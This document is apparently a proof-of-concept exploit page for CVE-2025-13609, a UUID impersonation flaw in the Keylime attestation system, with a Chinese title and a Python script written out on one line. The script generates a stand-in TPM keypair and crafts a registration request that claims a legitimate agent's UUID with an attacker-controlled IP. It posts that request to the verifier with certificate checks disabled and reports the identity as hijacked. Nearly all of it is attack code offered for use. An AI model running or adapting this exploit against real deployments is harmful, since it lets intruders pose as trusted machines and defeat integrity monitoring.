CVE-2025-13609 keylime UUID身份冒充漏洞

# CVE-2025-13609 PoC - Keylime UUID Impersonation Attack # This PoC demonstrates the UUID hijacking vulnerability in keylime agent registration import requests import json import hashlib from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.backends import default_backend TARGET_KEYLIME_VERIFIER = "https://keylime-verifier.example.com:8881" TARGET_UUID = "legitimate-agent-uuid-to-hijack" ATTACKER_IP = "attacker-controlled-ip" def generate_fake_tpm_keypair(): """Generate a fake TPM keypair for the attack""" private_key = rsa.generate_private_key( public_exponent=65537, key_size=2048, backend=default_backend() ) public_key = private_key.public_key() return private_key, public_key def create_malicious_registration_request(uuid, public_key): """Create malicious agent registration request""" pub_key_pem = public_key.public_bytes( encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo ) pub_key_hash = hashlib.sha256(pub_key_pem).hexdigest() registration_payload = { "v": "1.0", "ip": ATTACKER_IP, "port": 9002, "uuid": uuid, "aik_sha256": pub_key_hash, "aips": ["127.0.0.1"], "mb_refquote": "fake_quote_data", "quote_signature": "fake_signature" } return registration_payload def exploit_uuid_hijacking(target_verifier, target_uuid): """ Exploit keylime UUID hijacking vulnerability Attack: Register with different TPM but claim existing UUID """ print(f"[*] Starting UUID hijacking attack on {target_uuid}") # Step 1: Generate fake TPM keypair print("[*] Generating fake TPM keypair...") priv_key, pub_key = generate_fake_tpm_keypair() # Step 2: Create malicious registration request print("[*] Crafting malicious registration request...") payload = create_malicious_registration_request(target_uuid, pub_key) # Step 3: Send registration request (overwrites legitimate agent) print("[*] Sending registration request to overwrite UUID...") try: response = requests.post( f"{target_verifier}/agents", json=payload, headers={"Content-Type": "application/json"}, verify=False, timeout=10 ) if response.status_code in [200, 201, 202]: print("[+] SUCCESS: UUID hijacked! Attacker now controls the agent identity") print(f"[*] Attacker can now impersonate {target_uuid}") return True else: print(f"[-] Registration failed: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": exploit_uuid_hijacking(TARGET_KEYLIME_VERIFIER, TARGET_UUID)